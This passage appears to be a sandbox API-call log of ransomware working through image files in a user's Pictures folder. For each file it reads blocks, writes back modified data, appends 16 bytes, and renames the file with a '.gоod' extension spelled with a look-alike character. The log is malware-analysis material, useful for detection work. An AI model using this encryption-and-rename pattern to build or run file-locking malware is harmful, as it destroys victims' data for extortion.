returned 0x1 [0161.645] ReadFile (in: hFile=0x7fc, lpBuffer=0x354cd98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x354cd98*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0161.721] CloseHandle (hObject=0x7fc) returned 1 [0161.721] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", lpFilePart=0x0) returned 0x2b [0161.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0161.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\absnozjyz93jpn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0161.721] GetFileType (hFile=0x7fc) returned 0x1 [0161.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0161.721] GetFileType (hFile=0x7fc) returned 0x1 [0161.721] WriteFile (in: hFile=0x7fc, lpBuffer=0x354bb20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x354bb20*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0161.722] CloseHandle (hObject=0x7fc) returned 1 [0161.722] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", lpFilePart=0x0) returned 0x2b [0161.722] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg.gоod", lpFilePart=0x0) returned 0x30 [0161.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0161.722] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\absnozjyz93jpn.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d50e4d0, ftCreationTime.dwHighDateTime=0x1d4ca8f, ftLastAccessTime.dwLowDateTime=0x1ec7dab0, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x5c9aaae3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16ab8)) returned 1 [0161.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0161.722] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\absnozjyz93jpn.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\absnozjyz93jpn.jpg.gоod")) returned 1 [0161.723] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", lpFilePart=0x0) returned 0x31 [0161.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0161.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\dathipmnutsp3raxproq.bmp"), fInfoLevelId=0x0, lpFileInformation=0x35c90c0 | out: lpFileInformation=0x35c90c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972c4a20, ftCreationTime.dwHighDateTime=0x1d4cd10, ftLastAccessTime.dwLowDateTime=0x9dfab020, ftLastAccessTime.dwHighDateTime=0x1d4cbb8, ftLastWriteTime.dwLowDateTime=0x9dfab020, ftLastWriteTime.dwHighDateTime=0x1d4cbb8, nFileSizeHigh=0x0, nFileSizeLow=0xb798)) returned 1 [0161.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0161.723] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", lpFilePart=0x0) returned 0x31 [0161.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0161.723] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\dathipmnutsp3raxproq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0161.723] GetFileType (hFile=0x7fc) returned 0x1 [0161.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0161.723] GetFileType (hFile=0x7fc) returned 0x1 [0161.723] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0161.723] ReadFile (in: hFile=0x7fc, lpBuffer=0x35c94b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x35c94b8*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0161.724] CloseHandle (hObject=0x7fc) returned 1 [0161.724] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", lpFilePart=0x0) returned 0x31 [0161.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0161.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\dathipmnutsp3raxproq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0161.724] GetFileType (hFile=0x7fc) returned 0x1 [0161.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0161.724] GetFileType (hFile=0x7fc) returned 0x1 [0161.724] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0xb798 [0161.724] WriteFile (in: hFile=0x7fc, lpBuffer=0x35ca740*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x35ca740*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0161.724] CloseHandle (hObject=0x7fc) returned 1 [0161.724] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", lpFilePart=0x0) returned 0x31 [0161.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0161.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\dathipmnutsp3raxproq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0161.725] GetFileType (hFile=0x7fc) returned 0x1 [0161.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0161.725] GetFileType (hFile=0x7fc) returned 0x1 [0161.725] ReadFile (in: hFile=0x7fc, lpBuffer=0x35cc9f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x35cc9f0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0163.048] CloseHandle (hObject=0x7fc) returned 1 [0163.048] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", lpFilePart=0x0) returned 0x31 [0163.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\dathipmnutsp3raxproq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0163.048] GetFileType (hFile=0x7fc) returned 0x1 [0163.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.048] GetFileType (hFile=0x7fc) returned 0x1 [0163.048] WriteFile (in: hFile=0x7fc, lpBuffer=0x32a2688*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x32a2688*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0163.049] CloseHandle (hObject=0x7fc) returned 1 [0163.049] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp", lpFilePart=0x0) returned 0x31 [0163.049] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp.gоod", lpFilePart=0x0) returned 0x36 [0163.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0163.049] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\dathipmnutsp3raxproq.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972c4a20, ftCreationTime.dwHighDateTime=0x1d4cd10, ftLastAccessTime.dwLowDateTime=0x9dfab020, ftLastAccessTime.dwHighDateTime=0x1d4cbb8, ftLastWriteTime.dwLowDateTime=0x5d65532e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb7a8)) returned 1 [0163.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0163.049] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\dathipmnutsp3raxproq.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\dathiPmNutSp3raxPROQ.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\dathipmnutsp3raxproq.bmp.gоod")) returned 1 [0163.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", lpFilePart=0x0) returned 0x26 [0163.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0163.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\eh4czeynq.png"), fInfoLevelId=0x0, lpFileInformation=0x3438480 | out: lpFileInformation=0x3438480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c0dcc0, ftCreationTime.dwHighDateTime=0x1d4c9b8, ftLastAccessTime.dwLowDateTime=0x60ddfa00, ftLastAccessTime.dwHighDateTime=0x1d4ca58, ftLastWriteTime.dwLowDateTime=0x60ddfa00, ftLastWriteTime.dwHighDateTime=0x1d4ca58, nFileSizeHigh=0x0, nFileSizeLow=0x4ee5)) returned 1 [0163.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0163.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", lpFilePart=0x0) returned 0x26 [0163.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\eh4czeynq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0163.050] GetFileType (hFile=0x7fc) returned 0x1 [0163.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.050] GetFileType (hFile=0x7fc) returned 0x1 [0163.050] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0163.050] ReadFile (in: hFile=0x7fc, lpBuffer=0x3438818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3438818*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0163.051] CloseHandle (hObject=0x7fc) returned 1 [0163.051] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", lpFilePart=0x0) returned 0x26 [0163.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\eh4czeynq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0163.051] GetFileType (hFile=0x7fc) returned 0x1 [0163.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.051] GetFileType (hFile=0x7fc) returned 0x1 [0163.051] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x4ee5 [0163.051] WriteFile (in: hFile=0x7fc, lpBuffer=0x3439a70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3439a70*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0163.051] CloseHandle (hObject=0x7fc) returned 1 [0163.051] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", lpFilePart=0x0) returned 0x26 [0163.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\eh4czeynq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0163.052] GetFileType (hFile=0x7fc) returned 0x1 [0163.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.052] GetFileType (hFile=0x7fc) returned 0x1 [0163.052] ReadFile (in: hFile=0x7fc, lpBuffer=0x343bcf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x343bcf0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0163.224] CloseHandle (hObject=0x7fc) returned 1 [0163.224] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", lpFilePart=0x0) returned 0x26 [0163.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\eh4czeynq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0163.224] GetFileType (hFile=0x7fc) returned 0x1 [0163.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.224] GetFileType (hFile=0x7fc) returned 0x1 [0163.224] WriteFile (in: hFile=0x7fc, lpBuffer=0x32f9ba8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x32f9ba8*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0163.225] CloseHandle (hObject=0x7fc) returned 1 [0163.225] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png", lpFilePart=0x0) returned 0x26 [0163.225] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png.gоod", lpFilePart=0x0) returned 0x2b [0163.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0163.225] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\eh4czeynq.png"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c0dcc0, ftCreationTime.dwHighDateTime=0x1d4c9b8, ftLastAccessTime.dwLowDateTime=0x60ddfa00, ftLastAccessTime.dwHighDateTime=0x1d4ca58, ftLastWriteTime.dwLowDateTime=0x5d7f8e0e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4ef5)) returned 1 [0163.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0163.578] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\eh4czeynq.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\Eh4CzEyNQ.png.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\eh4czeynq.png.gоod")) returned 1 [0163.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", lpFilePart=0x0) returned 0x27 [0163.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0163.663] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ew3yg4w1n5.bmp"), fInfoLevelId=0x0, lpFileInformation=0x34ee670 | out: lpFileInformation=0x34ee670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0396840, ftCreationTime.dwHighDateTime=0x1d4c6a4, ftLastAccessTime.dwLowDateTime=0xf9eb7f20, ftLastAccessTime.dwHighDateTime=0x1d4cd13, ftLastWriteTime.dwLowDateTime=0xf9eb7f20, ftLastWriteTime.dwHighDateTime=0x1d4cd13, nFileSizeHigh=0x0, nFileSizeLow=0x12427)) returned 1 [0163.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0163.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", lpFilePart=0x0) returned 0x27 [0163.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ew3yg4w1n5.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0163.663] GetFileType (hFile=0x810) returned 0x1 [0163.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.664] GetFileType (hFile=0x810) returned 0x1 [0163.664] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0163.664] ReadFile (in: hFile=0x810, lpBuffer=0x34eea08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x34eea08*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0163.664] CloseHandle (hObject=0x810) returned 1 [0163.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", lpFilePart=0x0) returned 0x27 [0163.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ew3yg4w1n5.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0163.664] GetFileType (hFile=0x810) returned 0x1 [0163.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.664] GetFileType (hFile=0x810) returned 0x1 [0163.664] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x12427 [0163.664] WriteFile (in: hFile=0x810, lpBuffer=0x34efc60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x34efc60*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0163.665] CloseHandle (hObject=0x810) returned 1 [0163.665] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", lpFilePart=0x0) returned 0x27 [0163.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ew3yg4w1n5.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0163.665] GetFileType (hFile=0x810) returned 0x1 [0163.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.665] GetFileType (hFile=0x810) returned 0x1 [0163.665] ReadFile (in: hFile=0x810, lpBuffer=0x34f1ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x34f1ee0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0163.738] CloseHandle (hObject=0x810) returned 1 [0163.738] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", lpFilePart=0x0) returned 0x27 [0163.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.738] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ew3yg4w1n5.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0163.738] GetFileType (hFile=0x810) returned 0x1 [0163.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.738] GetFileType (hFile=0x810) returned 0x1 [0163.738] WriteFile (in: hFile=0x810, lpBuffer=0x3311378*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3311378*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0163.739] CloseHandle (hObject=0x810) returned 1 [0163.739] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp", lpFilePart=0x0) returned 0x27 [0163.739] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp.gоod", nBufferLength=0x105, 